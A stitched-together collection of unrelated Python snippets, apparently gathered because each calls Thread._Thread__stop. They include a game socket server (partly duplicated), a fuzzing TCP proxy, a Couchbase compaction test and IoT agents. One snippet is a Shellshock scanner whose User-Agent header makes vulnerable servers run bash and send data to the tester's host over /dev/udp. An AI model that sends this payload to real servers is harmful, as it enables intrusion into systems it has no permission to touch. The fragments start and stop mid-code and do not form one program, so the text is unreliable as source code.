клиент отключился" self._handle_close(client_name, 'Disconnect') return False else: if request: self._requestes.put_nowait((client_name, request)) return True def _handle_accept(self, stream): "прием одного из двух соединений" assert stream in (IN, OUT) if stream is IN: sock = self.insock s_name = 'input' else: sock = self.outsock s_name = 'output' conn, (address, fileno) = sock.accept() conn.setblocking(0) print_log('%s Connection from %s (%s)' % (s_name, fileno, address)) if address not in self._address_buf: self._address_buf[address] = conn else: buf_address = self._address_buf.pop(address) if stream == IN: self._accept_client(conn, buf_address) else: self._accept_client(buf_address, conn) def _accept_client(self, insock, outsock): "регистрация клиента, после того как он подключился к обоим сокетам" client_name = 'player_%s' % self.client_counter self.client_counter += 1 self.clients[client_name] = client_tuple(insock, outsock, receivable(insock)) insock_fileno = insock.fileno() outsock_fileno = outsock.fileno() self.infilenos[insock_fileno] = client_name self.outfilenos[outsock_fileno] = client_name self._register_in(insock_fileno) print_log('accepting_client %s' % client_name) #реагируем на появление нового клиента self._accepted.put_nowait(client_name) def _run(self): "запуск сервера" self.running = True self.insock.listen(self.listen_num) self.outsock.listen(self.listen_num) #регистрируем сокеты на ожидание подключений self._register_in(self.insock.fileno()) self._register_in(self.outsock.fileno()) log_data = (self.hostname, IN_PORT, OUT_PORT, self.poll_engine) print_log('\nServer running at %s:(%s,%s) multiplexer: %s \n' % log_data) try: #запускаем sender self._sender_thread.start() #запускаем мультиплексор self._run_poll() except: self._handle_exception(*exc_info()) finally: self.stop() def _handle_close(self, client_name, message): "хэндлер на закрытие подключения" print_log('Closing %s: %s' % (client_name, message)) self._closed.put_nowait(client_name) infileno = self.clients[client_name].insock.fileno() outfileno = self.clients[client_name].outsock.fileno() self._unregister(infileno) del self.infilenos[infileno] del self.outfilenos[outfileno] #закрываем подключения и удаляем self.clients[client_name].insock.close() self.clients[client_name].outsock.close() del self.clients[client_name] def stop(self, reason=None): "остановка сервера" if self.running: print_log('SocketServer stopping..') self._unregister(self.in_fileno) self._unregister(self.out_fileno) self.insock.close() self.outsock.close() self._stop_event.set() #closing queues self._accepted.close() self._closed.close() self._requestes.close() self._responses.close() print_log('Waiting for sender thread') self._sender_thread._Thread__stop() self._sender_thread.join() self.running = False
class SocketServer(Multiplexer, Process): "получает/отправляет данные через сокеты" def __init__(self, hostname, listen_num=100): Process.__init__(self) Multiplexer.__init__(self) self.listen_num = listen_num self.hostname = hostname self.insock, self.in_fileno = self._create_socket(IN) self.outsock, self.out_fileno = self._create_socket(OUT) self.infilenos = {} self.insocks = {} self.outfilenos = {} self._address_buf = {} self._accepted = Queue() self._closed = Queue() self._requestes = Queue() self._responses = Queue() self.excp = Queue() self._sender_thread = Thread(target=self._sender) self.clients = {} self.client_counter = 0 self._stop_event = Event() self.r_times = [] self.running = False #публичные методы def run(self): "запуск сервера" try: if SOCKET_SERVER_PROFILE: cProfile.runctx('self._run()', globals(), locals(), SOCKET_SERVER_PROFILE_FILE) else: self._run() finally: self.stop() def get_accepted(self): "генератор подключившихся клентов" while not self._accepted.empty(): yield self._accepted.get_nowait() raise StopIteration def get_closed(self): "генератор отклювшихся клиентов" while not self._closed.empty(): yield self._closed.get_nowait() raise StopIteration def get_requestes(self): "генератор запросов" while not self._requestes.empty(): client, request = self._requestes.get_nowait() yield client, request raise StopIteration def put_response(self, client_name, response): "кладет ответ в очередь" self._responses.put_nowait((client_name, response)) #приватные def _handle_exception(self, except_type, except_class, tb): "отсылает данные об исключении" try: self.excp.put_nowait((except_type, except_class, traceback.extract_tb(tb))) finally: self.stop() def _create_socket(self, stream): "создает неблокирубщий сокет на заданном порте" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((self.hostname, PORTS[stream])) sock.setblocking(0) fileno = sock.fileno() return sock, fileno def _sender(self): "поток отправляющий ответы из очереди" try: while not self._stop_event.is_set(): client_name, response = self._responses.get() if client_name in self.clients: sock = self.clients[client_name].outsock try: send(sock, response) except socket_error as error: print_log('sender error', str(error)) print_log('sender stop') except Exception as error: print_log('snder', error) self._handle_exception(*exc_info()) def _handle_read(self, client_name): "читает один пакет данных из сокета, если это возможно" try: request = self.clients[client_name].generator.next() except socket.error as Error: #если возникла ошабка на сокете - закрываем" errno = Error[0] self._handle_close(client_name, 'Socket Error %s' % errno) return False except PackageError: #если возникла ошабка в пакете - закрываем" self._handle_close(client_name, 'PackageError') return False except StopIteration: #если клиент отключился" self._handle_close(client_name, 'Disconnect') return False else: if request: self._requestes.put_nowait((client_name, request)) return True def _handle_accept(self, stream): "прием одного из двух соединений" assert stream in (IN, OUT) if stream is IN: sock = self.insock s_name = 'input' else: sock = self.outsock s_name = 'output' conn, (address, fileno) = sock.accept() conn.setblocking(0) print_log('%s Connection from %s (%s)' % (s_name, fileno, address)) if address not in self._address_buf: self._address_buf[address] = conn else: buf_address = self._address_buf.pop(address) if stream == IN: self._accept_client(conn, buf_address) else: self._accept_client(buf_address, conn) def _accept_client(self, insock, outsock): "регистрация клиента, после того как он подключился к обоим сокетам" client_name = 'player_%s' % self.client_counter self.client_counter += 1 self.clients[client_name] = client_tuple(insock, outsock, receivable(insock)) insock_fileno = insock.fileno() outsock_fileno = outsock.fileno() self.infilenos[insock_fileno] = client_name self.outfilenos[outsock_fileno] = client_name self._register_in(insock_fileno) print_log('accepting_client %s' % client_name) #реагируем на появление нового клиента self._accepted.put_nowait(client_name) def _run(self): "запуск сервера" self.running = True self.insock.listen(self.listen_num) self.outsock.listen(self.listen_num) #регистрируем сокеты на ожидание подключений self._register_in(self.insock.fileno()) self._register_in(self.outsock.fileno()) log_data = (self.hostname, IN_PORT, OUT_PORT, self.poll_engine) print_log('\nServer running at %s:(%s,%s) multiplexer: %s \n' % log_data) try: #запускаем sender self._sender_thread.start() #запускаем мультиплексор self._run_poll() except: self._handle_exception(*exc_info()) finally: self.stop() def _handle_close(self, client_name, message): "хэндлер на закрытие подключения" print_log('Closing %s: %s' % (client_name, message)) self._closed.put_nowait(client_name) infileno = self.clients[client_name].insock.fileno() outfileno = self.clients[client_name].outsock.fileno() self._unregister(infileno) del self.infilenos[infileno] del self.outfilenos[outfileno] #закрываем подключения и удаляем self.clients[client_name].insock.close() self.clients[client_name].outsock.close() del self.clients[client_name] def stop(self, reason=None): "остановка сервера" if self.running: print_log('SocketServer stopping..') self._unregister(self.in_fileno) self._unregister(self.out_fileno) self.insock.close() self.outsock.close() self._stop_event.set() #closing queues self._accepted.close() self._closed.close() self._requestes.close() self._responses.close() print_log('Waiting for sender thread') self._sender_thread._Thread__stop() self._sender_thread.join() self.running = False
def main(): import optparse parser = optparse.OptionParser() # Shall we fuzz the request, response, or both? # Set via optparse in main global sr_request # search/replace tuple for requests - (True, [search, replace]) where true means to use regex global sr_response # search/replace tuple for responses - (True, [search, replace]) where true means to use regex global fuzz_request global fuzz_response # Other module-wide variables global debug global term global logger global fwdr parser.add_option("-l", "--local-addr", dest="local_addr", default="127.0.0.1", help="Local address to bind to") parser.add_option("-p", "--local-port", type="int", dest="local_port", default=1234, help="Local port to bind to") parser.add_option("-r", "--remote-addr", dest="remote_addr", help="Remote address to bind to") parser.add_option("-P", "--remote-port", type="int", dest="remote_port", default=80, help="Remote port to bind to") parser.add_option( "--search-request", dest="search_request", default="", help="String that if found will be replaced by --replace-request's value", ) parser.add_option( "--replace-request", dest="replace_request", default="", help="String to replace the value of --search-request" ) parser.add_option( "--search-response", dest="search_response", default="", help="String that if found will be replaced by --replace-request's value", ) parser.add_option( "--replace-response", dest="replace_response", default="", help="String to replace the value of --search-request", ) parser.add_option( "--regex-request", action="store_true", dest="request_use_regex", help="Requests: Use regular expressions for search and replace instead of string constants", ) parser.add_option( "--regex-response", action="store_true", dest="response_use_regex", help="Responses: Use regular expressions for search and replace instead of string constants", ) parser.add_option( "--fuzz-request", action="store_true", dest="fuzz_request", help="Fuzz the request which the proxy gets from the connecting client \ prior to sending it to the remote host", ) parser.add_option( "--fuzz-response", action="store_true", dest="fuzz_response", help="Fuzz the response which the proxy gets from the remote host prior \ to sending it to the conecting client", ) parser.add_option( "-i", "--run-info", dest="run_info", default="", help="Additional information string to add to database run_info entry", ) parser.add_option( "-d", "--debug", type="int", dest="debug", default=0, help="Debug level (0-5, 0: No debugging; 1: Simple conneciton \ information; 2: Simple data information; 3: Listener data display; 4: \ Sender data display; 5: All data display)", ) (options, args) = parser.parse_args() if not options.remote_addr or not options.remote_port: parser.print_help() exit(1) # Validate options for search/replace if (options.search_request and not options.replace_request) or ( options.replace_request and not options.search_request ): print >> sys.stderr, "Both --search-request and --replace-request must be provided together" exit(1) if (options.search_response and not options.replace_response) or ( options.replace_response and not options.search_response ): print >> sys.stderr, "Both --search-response and --replace-response must be provided together" exit(1) # Setup a TerminalController for formatted output term = TerminalController() # Print the current run information print ( term.render( """\nSetting up asynch. TCP proxy with the following settings: ${GREEN}Local binding Address: %s Local binding Port: %s${NORMAL} ${RED}Remote host address: %s Remote host port: %s${NORMAL} """ ) % (options.local_addr, options.local_port, options.remote_addr, options.remote_port) ) # Set the debug value debug = options.debug # If run info was passed in on the command line, use that for the run_info table # additional info field (It will have what's being fuzzed prepended to it as well) run_additional_info = options.run_info # Print the selected debug value if debug > 0: if debug == 1: print (" Debug: Level 1 (Show simple connection information)") elif debug == 2: print (" Debug: Level 2 (Show simple data information, such as the size of sent/received messages)") elif debug == 3: print (" Debug: Level 3 (Show listener data and size of sent/received messages)") elif debug == 4: print (" Debug: Level 4 (Show sender data and size of sent/received messages)") elif debug == 5: print ( " Debug: Level 5 (Show all possible information, including the size of sent/received messages, and their data for listener and sender)" ) print ("") # Display and setup search/replace things if options.search_request and options.replace_request: sr_request = [ None, options.search_request.decode("string-escape"), options.replace_request.decode("string-escape"), ] # Check if we want to use regex instead of string constants if options.request_use_regex: # Use regex instead of string replace print ( term.render( "Running regex search/replace on ${BOLD}REQUESTS${NORMAL} with regex: 's/%s/%s'" % (sr_request[1], sr_request[2]) ) ) sr_request[0] = True else: print ( term.render( "Running string search/replace on ${BOLD}REQUESTS${NORMAL} with search/replace: 's/%s/%s'" % (sr_request[1], sr_request[2]) ) ) sr_request[0] = False else: sr_request = None if options.search_response and options.replace_response: sr_response = [ None, options.search_response.decode("string-escape"), options.replace_response.decode("string-escape"), ] # Check if we want to use regex instead of string constants if options.response_use_regex: print ( term.render( "Running regex search/replace on ${BOLD}RESPONSES${NORMAL} with regex: 's/%s/%s'" % (sr_response[1], sr_response[2]) ) ) sr_response[0] = True else: print ( term.render( "Running string search/replace on ${BOLD}RESPONSES${NORMAL} with search/replace: 's/%s/%s'" % (sr_response[1], sr_response[2]) ) ) sr_response[0] = False else: sr_response = None # Setup which to fuzz - request, response, neither, both? if options.fuzz_request: fuzz_request = options.fuzz_request run_additional_info = "Fuzzing REQUESTS; " + run_additional_info print (term.render("Fuzzing ${BOLD}REQUESTS${NORMAL}")) else: fuzz_request = False if options.fuzz_response: fuzz_response = options.fuzz_response run_additional_info = "Fuzzing RESPONSES; " + run_additional_info print (term.render("Fuzzing ${BOLD}RESPONSES${NORMAL}")) else: fuzz_response = False if not (options.fuzz_response or options.fuzz_request): run_additional_info = "Fuzzing NONE; " + run_additional_info print ( term.render( "Fuzzing ${BOLD}<NOTHING>${NORMAL} (Maybe you wanted ${BOLD}--fuzz-request or --fuzz-response${NORMAL}?)" ) ) if fuzz_request and fuzz_response: print ( term.render( "${YELLOW}\nWARNING! WARNING!\n${BOLD}Fuzzing BOTH the request and response is probably a bad idea, ensure this is what you want to do!${NORMAL}${YELLOW}\nWARNING! WARNING!\n${NORMAL}" ) ) # host, db, username, passwd if logging_enabled: logger = postgresLogger("postgreshost", "dbname", "dbuser", "dbpass") logger.log_run_info("CompanyName", "ProjectName-v1.2.3", run_additional_info) # create object that spawns reciever/sender pairs upon connection fwdr = forwarder(options.local_addr, options.local_port, options.remote_addr, options.remote_port) print ("Listener running...") # asyncore.loop() # A quick hack to be able to control fuzz on/off while running # separate asyncore.loop into its own thread so we can have terminal control asyncThread = Thread(target=asyncore.loop) asyncThread.start() # start a console (ipython) from IPython.terminal.interactiveshell import TerminalInteractiveShell shell = TerminalInteractiveShell(user_ns=globals()) shell.mainloop() # cleanup otherwise thread wont die and program hangs fwdr.close() # asyncore.close_all() asyncThread._Thread__stop()
class Base(): #class handles callbacks and initial connection setup sIp ="" #server IP sPort = 0 #server port sSock = None #socket to connect to server cbIp = "" #callback IP cbPort = 0 #callback Port cbTimeOut=10 cbSock = None #callback socket pType = "TCP" #TCP or UDP Result ="" def __init__(self,sType,serverIp, serverPort, sCallbackip,iCallbackPort): self.sIp = serverIp self.sPort = int(serverPort) self.cbIp = sCallbackip self.cbPort = int(iCallbackPort) if sType =="TCP" or sType == "UDP": self.pType = sType #end def def _callback(self): #sets up callback port on seperate threat if self.pType =="TCP": self.callbackThread = Thread(target=self.callbackTCP) self.callbackThread.start() self.timeThread = Thread(target=self.timeout) self.timeThread.start() #end def def timeout(self): #kills callback sock thread after n seconds #if that thread is done before this, this threrad will be terminated time.sleep(self.cbTimeOut) if self.callbackThread.isAlive(): self.callbackThread._Thread__stop() self.Result="ERROR:TIMEOUT" #end def def callbackTCP(self): #sets up TCP callback port #when connection is received, updates self.Result s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) s.bind(("",self.cbPort)) print "Callback service listening on " + self.cbIp + ":" + str(self.cbPort) s.listen(0) cSock, cAddr = s.accept() s.close() result = 1 self.Result = result #cleanup timeoutThread if self.timeThread.isAlive(): self.timeThread._Thread__stop() #end def def connectTCP(self,sServer,iPort): if sServer != "" and iPort !=0: try: self.sSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sSock.connect((sServer,iPort)) except: self.sSock = None return self.sSock #end def def run(self): if self.pType=="TCP": if self.connectTCP(self.sIp,self.sPort) is not None: #set to none on error self._callback() #sets up callback socket self.protocolThread = Thread(target=self.protocolhandler) self.protocolThread.start() while self.Result == "": pass #wait for testresults self.destroy() else: print "Failed to connect to " + self.sIp + " on port " + str(self.sPort) #end def def protocolhandler(self): print "You MUST ovverride this function in your inheriting class, this is your bread and butter" #end def def destroy(self): if self.sSock is not None:self.sSock.close() if self.cbSock is not None:self.cSock.close() if self.callbackThread.isAlive():self.callbackThread._Thread__stop() if self.timeThread.isAlive():self.timeThread._Thread__stop() if self.protocolThread.isAlive():self.protocolThread._Thread__stop()
def test_database_fragmentation(self): self.log.info('start test_database_fragmentation') self.err = None BucketOperationHelper.delete_all_buckets_or_assert(self.servers, self) percent_threshold = self.autocompaction_value bucket_name = "default" MAX_RUN = 100 item_size = 1024 update_item_size = item_size * ((float(100 - percent_threshold)) / 100) serverInfo = self.servers[0] self.log.info(serverInfo) rest = RestConnection(serverInfo) remote_client = RemoteMachineShellConnection(serverInfo) output, rq_content, header = rest.set_auto_compaction( "false", dbFragmentThresholdPercentage=percent_threshold, viewFragmntThresholdPercentage=None) if not output and (percent_threshold <= MIN_COMPACTION_THRESHOLD or percent_threshold >= MAX_COMPACTION_THRESHOLD): self.assertFalse( output, "it should be impossible to set compaction value = {0}%". format(percent_threshold)) import json self.assertTrue( json.loads(rq_content).has_key("errors"), "Error is not present in response") self.assertTrue(str(json.loads(rq_content)["errors"]).find("Allowed range is 2 - 100") > -1, \ "Error 'Allowed range is 2 - 100' expected, but was '{0}'".format(str(json.loads(rq_content)["errors"]))) self.log.info( "Response contains error = '%(errors)s' as expected" % json.loads(rq_content)) elif (output and percent_threshold >= MIN_COMPACTION_THRESHOLD and percent_threshold <= MAX_RUN): node_ram_ratio = BucketOperationHelper.base_bucket_ratio( TestInputSingleton.input.servers) info = rest.get_nodes_self() available_ram = info.memoryQuota * (node_ram_ratio) / 2 items = (int(available_ram * 1000) / 2) / item_size print "ITEMS =============%s" % items rest.create_bucket(bucket=bucket_name, ramQuotaMB=int(available_ram), authType='sasl', saslPassword='******', replicaNumber=1, proxyPort=11211) BucketOperationHelper.wait_for_memcached(serverInfo, bucket_name) BucketOperationHelper.wait_for_vbuckets_ready_state( serverInfo, bucket_name) self.log.info( "******start to load {0}K keys with {1} bytes/key".format( items, item_size)) #self.insert_key(serverInfo, bucket_name, items, item_size) generator = BlobGenerator('compact', 'compact-', int(item_size), start=0, end=(items * 1000)) self._load_all_buckets(self.master, generator, "create", 0, 1, batch_size=1000) self.log.info("sleep 10 seconds before the next run") time.sleep(10) self.log.info( "********start to update {0}K keys with smaller value {1} bytes/key" .format(items, int(update_item_size))) generator_update = BlobGenerator('compact', 'compact-', int(update_item_size), start=0, end=(items * 1000)) if self.during_ops: if self.during_ops == "change_port": self.change_port( new_port=self.input.param("new_port", "9090")) self.master.port = self.input.param("new_port", "9090") elif self.during_ops == "change_password": old_pass = self.master.rest_password self.change_password(new_password=self.input.param( "new_password", "new_pass")) self.master.rest_password = self.input.param( "new_password", "new_pass") rest = RestConnection(self.master) insert_thread = Thread( target=self.load, name="insert", args=(self.master, self.autocompaction_value, self.default_bucket_name, generator_update)) try: self.log.info('starting the load thread') insert_thread.start() compact_run = remote_client.wait_till_compaction_end( rest, bucket_name, timeout_in_seconds=(self.wait_timeout * 10)) if not compact_run: self.fail("auto compaction does not run") elif compact_run: self.log.info("auto compaction run successfully") except Exception, ex: self.log.info("exception in auto compaction") if self.during_ops: if self.during_ops == "change_password": self.change_password(new_password=old_pass) elif self.during_ops == "change_port": self.change_port(new_port='8091', current_port=self.input.param( "new_port", "9090")) if str(ex).find("enospc") != -1: self.is_crashed.set() self.log.error( "Disk is out of space, unable to load more data") insert_thread._Thread__stop() else: insert_thread._Thread__stop() raise ex else: insert_thread.join() if self.err is not None: self.fail(self.err)
def _stop(self): if self.is_alive(): Thread._Thread__stop(self) raise Exception('Function execution overtime')
def stop(self): if self.is_alive(): Thread._Thread__stop(self)
class BlackPearl(): def __init__(self, ghost, pirateClass, port=8000, request_life=300): """This is a Server that wake up Ghost instances. :param pirateClass: The class that we want to instanciate to do the work :param port: The port where the server will run :param request_life: The time that takes to cancel an request (in case of failure or slow network). """ self._pirateClass = pirateClass self.gh = ghost self.request_life = request_life self._port = port self._pirates = [] self._start_request = [] self._request_ready = {} self._sleep_bag = {} def start(self): """Start the BlackPearl Server""" Logger.log("Starting BlackPearl Server", sender="BlackPearl") self._start_server(self._port) self.process_events() def _start_server(self, port): self._server = Flask(__name__) self._server.config['CSRF_ENABLED'] = False self._server.config['SECRET_KEY'] = 'asecret' @self._server.route('/work', methods=['POST']) def work(): data = request.values.to_dict().get("data", None) name = self._start_process(data) while self._request_ready[name] is None: time.sleep(1) Logger.log("Ending Pirate Instance", sender="BlackPearl") return Response(json.dumps(self._request_ready[name])) self.server = Thread(target=self._server.run, kwargs=dict(threaded=True)) self.server.start() def _start_process(self, data=None): Logger.log("Starting Pirate Instance", sender="BlackPearl") name = str(random.randint(0, 999999999)) self._request_ready[name] = None self._start_request.append((name, data)) return name def _set_ready(self, pirateRequest, data): self._request_ready[pirateRequest.name] = data self._pirates.remove(pirateRequest) del pirateRequest.pirate def _queue_pirates(self): while len(self._start_request) > 0: name, data = self._start_request.pop(0) pirate = self._pirateClass(self.gh) pirate.start(data) self._pirates.append(PirateRequest(self.request_life, name, pirate)) def process_events(self): """Main process that manages all the events queued""" j = 0 while True: try: self._queue_pirates() for pr in self._pirates: name, pirate = pr.name, pr.pirate ev = pirate.get_event() if ev is None or pr.is_old(): is_ready = True Logger.log("Error. Old request, removing from list", sender="BlackPearl") else: try: if ev in self._sleep_bag and self._sleep_bag[ev] > time.time(): # we wait for this pirate.event_ready(ev) break sleep_time = ev.execute() pirate.event_ready(ev) is_ready = not pirate.has_events() if sleep_time > 0.0 and not is_ready: self._sleep_bag[ev] = time.time() + sleep_time self.gh.process_events() except Exception as ex: print ex is_ready = True Logger.log("Error. Removing element", sender="BlackPearl") if is_ready: data = pirate.get_result() self._set_ready(pr, data) if ev in self._sleep_bag: del self._sleep_bag[ev] if len(self._start_request) == 0 and len(self._pirates) == 0: time.sleep(0.1) except KeyboardInterrupt: Logger.log("Keyboard interupt. Let get out of here.", sender="BlackPearl") self.server._Thread__stop() break
try: data, respond_server = s.recvfrom(4096) if respond_server[0] == server_ip: #verify that the server responding is the same as the server we are testing print "[!] The server is vulnerable at the following URI: %s" %(data) except socket.error: # Socket is set to non-blocking. Errors at no-data. pass def check_vuln(): for uri in CGI_Scripts: server_test = "http://"+args.server+str(uri) usr_agent = "() { :;}; /bin/bash -c 'echo %s > /dev/udp/%s/%s'" %(server_test,host,port) #create a custom user-agent. #It echos the URI we are testing back via UDP to the host and port we specified (the machine you are running the code from) try: req = urllib2.Request(server_test, None, {"User-agent" : usr_agent}) urllib2.urlopen(req) except urllib2.HTTPError: # a lot of the URLS we test are going to be 404s lets ignore those errors pass try: # Need to spin up a thread to keep our socket open while we test URLs t1 = Thread(target = test_socket) t1.daemon = True t1.start() check_vuln() except KeyboardInterrupt: #want to make sure this is interruptible t1._Thread__stop() sys.exit() finally: t1._Thread__stop() sys.exit()
class PluginMain(subgetcore.SubgetPlugin): """ Instance manager, uses DBUS on Linux/BSD and other Unix systems, and COM on Windows """ thread = None bus = None def _onInstanceCheck(self, Data): """# == Data { # 0 => consoleMode # 1 => args # 2 => action # """ if os.name == "nt": self.Subget.Logging.output("Bus plugin disabled on Windows", "", False) return Data if os.name == "posix": check = self.checkDBUS() else: # trivial method to check if the COM server is online... crappy Windows API... self.thread = Thread(target=self.checkCOM) self.thread.setDaemon(False) self.thread.start() time.sleep(0.5) if self.bus is None: self.thread._Thread__stop() check = False else: check = True if check == True: if len(Data[1]) > 0: if os.name == "posix": addLinks = self.bus.get_dbus_method('addLinks', 'org.freedesktop.subget') else: # Windows NT addLinks = self.bus.addLinks addLinks(str.join('\n', Data[1]), False) self.Subget.Logging.output(self.Subget._("Added new files to existing list."), "", False) else: self.Subget.Logging.output(self.Subget._("Only one instance (graphical window) of Subget can be running at once by one user."), "", False) # only one instance of Subget can be running at once sys.exit(0) # server if Data[2] != "watch": # if not running watch with subtitles function self.Subget.Logging.output("Spawning server...", "error", True) if os.name == "nt": pythoncom.CoInitialize() win32com.server.register.UseCommandLine(SubgetService) self.bus = win32com.client.Dispatch("Subget") self.bus.setSubgetObject(self.Subget) else: self.bus = SubgetService() self.bus.subget = self.Subget return Data def _pluginInit(self): """ Initialize plugin """ self.Subget.Hooking.connectHook("onInstanceCheck", self._onInstanceCheck) def _pluginDestroy(self): """ Unload plugin """ self.Subget.Hooking.removeHook("onInstanceCheck", self._onInstanceCheck) del self def checkDBUS(self): try: bus = dbus.SessionBus() self.bus = bus.get_object('org.freedesktop.subget', '/org/freedesktop/subget') ping = self.bus.get_dbus_method('ping', 'org.freedesktop.subget') except Exception as e: return False return True def checkCOM(self): pythoncom.CoInitialize() self.bus = win32com.client.Dispatch("Subget")
class RaspberryAgent(AbstractAgentClass): exposed = True def __init__(self, serviceName, logLevel): super(RaspberryAgent, self).__init__(serviceName, logLevel) #About DHT sensor self.dhtPin = 18 self.isDHTInstalled = False self.dhtType = Adafruit_DHT.DHT22 #About PIR sensor self.isPirInstalled = False self.pirPin = 7 self.WSUri = ("http://%s:%s%s" % (self.getIpAddress(), str(httpPort), self.getMountPoint())) self.myhome = self.retriveHomeSettings() self.brokerUri = self.myhome["homeMessageBroker"]["address"] self.brokerPort = self.myhome["homeMessageBroker"]["port"] def getMountPoint(self): return '/rest/raspberry' def setDHTPin(self, dhtPin): self.dhtPin = dhtPin def setDHTType (self, dhtType): if (dhtType == 11): self.dhtType = Adafruit_DHT.DHT11 elif (dhtType == 22): self.dhtType = Adafruit_DHT.DHT22 elif (dhtType == 2302): self.dhtType = Adafruit_DHT.Adafruit_DHT.AM2302 def setDHTInstalled (self, isDHTInstalled): self.isDHTInstalled = isDHTInstalled def setPirPin (self, pirPin): self.pirPin = pirPin def setPirInstalled (self, isPirInstalled): self.isPirInstalled = isPirInstalled def start (self): self.mqtt = MyMQTTClass(self.serviceName, self.logger, self) self.mqtt.connect(self.brokerUri, self.brokerPort) if self.isPirInstalled: gpio.setmode(gpio.BOARD) gpio.setup(self.pirPin, gpio.IN) gpio.add_event_detect(self.pirPin, gpio.BOTH, callback=self.pirCallback, bouncetime=200) if self.isDHTInstalled: self.dhtThread = Thread (target = self.loop) self.dhtThread.start() self.logger.info("Started") def loop (self): while (True): humVal, tempVal = self.getDHTValues() if humVal is not "0.0": topic, payload = self.makeEvent("humidity", humVal) self.mqtt.syncPublish(topic, payload, 2) if tempVal is not "0.0": topic, payload = self.makeEvent("temperature", tempVal) self.mqtt.syncPublish(topic, payload, 2) time.sleep(timer) def getDHTValues (self): humidity = None temperature = None if self.isDHTInstalled: humidity, temperature = Adafruit_DHT.read_retry(self.dhtType, self.dhtPin) if humidity is None: humidity = 0.0 if temperature is None: temperature = 0.0 return str(round(humidity, 2)), str(round(temperature, 2)) def pirCallback (self, pin): if gpio.input(self.pirPin): topic, payload = self.makeEvent("motion", "True") self.mqtt.syncPublish(topic, payload, 2) time.sleep(30) else: topic, payload = self.makeEvent("motion", "False") self.mqtt.syncPublish(topic, payload, 2) def stop(self): if (hasattr(self, "dhtThread")): if self.dhtThread.isAlive(): try: self.dhtThread._Thread__stop() except: self.logger.error(str(self.dhtThread.getName()) + ' (dht send event thread) could not terminated') if (hasattr (self, "mqtt")): try: self.mqtt.disconnect() except Exception, e: self.logger.error("Error on stop(): %s" % (e)) self.logger.info("Ended") sys.exit(0)
try: sock.sendto( mensagem, (ip_server, porta_server) ) except socket.error, msg: print 'O servidor especificado nao esta disponivel para receber pacotes' #Grava para controle de perdas o pacote enviado pacotes[sequencia]=hora #Proxima sequencia sequencia += 1 #Dorme 1 segundo time.sleep(1) #Para a thread de escuta th._Thread__stop() ### - Analize dos dados - #### # Se for para transferencia de dados... if len(sys.argv) == 4 and sys.argv[3] == '-d': print 'foram enviados %d pacotes'%(sequencia) else: if len(pacotes): print '\n\nA Conexao nao foi integra\n' for key in sorted(pacotes.iterkeys()): print 'Sequencia %d perdida'%(key) else: print '\n\nNenhum pacote perdido durante a transmissao' #Se recebeu algum pacote
# ACCEPT_THREAD.start() # ACCEPT_THREAD.join() # sock.close() try: ACCEPT_THREAD.setDaemon(True) ACCEPT_THREAD.start() # ACCEPT_THREAD2.setDaemon(True) # ACCEPT_THREAD2.start() # ACCEPT_THREAD.join() while True: pass except KeyboardInterrupt: ACCEPT_THREAD._Thread__stop() sock.close() sys.exit(0) # for i in range(3): # Thread(target=tcpHandler).start() # server = ThreadedTCPServer( (HOST, PORT), ThreadedTCPRequestHandler) # ip, port = server.server_address # server_thread = threading.Thread(target=server.serve_forever) # server_thread.daemon = True # server_thread.start() # while True:
class ThingspeakSubscriber (AbstractSubscriber): def __init__ (self): super(ThingspeakSubscriber, self).__init__(subscriberName, "", logLevel) self.msgQueue = [] self.__lock = threading.Lock() self.eventChannelMap = {} self.timer = 15 # sleep due to thingspeak limitations def mekeTopic(self, device, measureType): return EventTopics.getSensorMeasurementEvent() + "/" + str(device) + "/" + str(measureType).lower() def start (self): # method overrided resp, isOk = self.invokeWebService(self.homeWSUri) while (not isOk): self.logger.error ("Unable to find the home proxy. I will try again in a while...") resp, isOk = self.invokeWebService(self.homeWSUri) time.sleep(10) #sleep 10 seconds myhome = json.loads(resp) brokerUri = myhome["homeMessageBroker"]["address"] brokerPort = myhome["homeMessageBroker"]["port"] if (brokerUri != None and brokerUri != "") and (brokerPort != None and brokerPort != ""): self.mqttc = MyMQTTClass(self.subscriberName, self.logger, self) self.mqttc.connect(brokerUri,brokerPort) for a, room in enumerate(myhome["rooms"]): for b, device in enumerate(room["devices"]): for c, channel in enumerate(device['thingspeakChannels']): topic = self.mekeTopic(device["deviceID"], channel['measureType']) self.eventChannelMap[topic] = channel['feed'] event = self.mqttc.subscribeEvent(None, topic) self.subscribedEventList += event else: self.logger.error ("The message broker address is not valid") self.uploadThread = Thread (target = self.upload) self.uploadThread.start() self.loop() def stop (self): if (hasattr(self, "uploadThread")): if self.uploadThread.isAlive(): try: self.uploadThread._Thread__stop() except: self.logger.error(str(self.uploadThread.getName()) + ' (upload value thread) could not terminated') super(ThingspeakSubscriber, self).stop() def upload(self): while (True): try: if (len(self.msgQueue) > 0): resp, isOk = self.invokeWebService(self.msgQueue[0]) if isOk and resp is not "0": self.__lock.acquire() deleted = self.msgQueue[0] del self.msgQueue[0] self.__lock.release() time.sleep(self.timer) # sleep due to thingspeak limitations else: self.logger.error ("Unable to upload new value: %s" % (resp)) time.sleep(1) except Exception, e: self.logger.error("Error on ThingspeakSubscriber.upload() %s: " % e)
class BikeSocket: def __init__(self, server='dali.cs.kuleuven.be:8080'): """Constructor for BikeSocket""" self.host, self.port = server.split(':') self.port = int(self.port) try: self._socket = SocketIO(self.host, self.port, wait_for_connection=False) self._socket.on('server_message', self.on_server_response) # Create dedicated thread for socket callbacks print('Launching dedicated callback listener thread') self._message = None self._listener = Thread(target=self._socket.wait) # Daemonize so this thread doesn't lock up the program self._listener.daemon = True self._listener.start() # Testing server self._socket.emit('echo', u'{1337:"\u0ca0_\u0ca0"}', self.on_server_response) self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: break self._waiting = False self.connection = True except: self.connection = False def update_connection(self): """ Function to check if the connection is still there, tries to establish connection if there is no connection """ print("updating connection") if not self.connection: try: self._socket = SocketIO(self.host, self.port, wait_for_connection=False) self._socket.on('server_message', self.on_server_response) # Create dedicated thread for socket callbacks print('Launching dedicated callback listener thread') self._message = None self._listener = Thread(target=self._socket.wait) self._listener.daemon = True self._listener.start() # Testing server self._socket.emit('echo', u'{1337:"\u0ca0_\u0ca0"}', 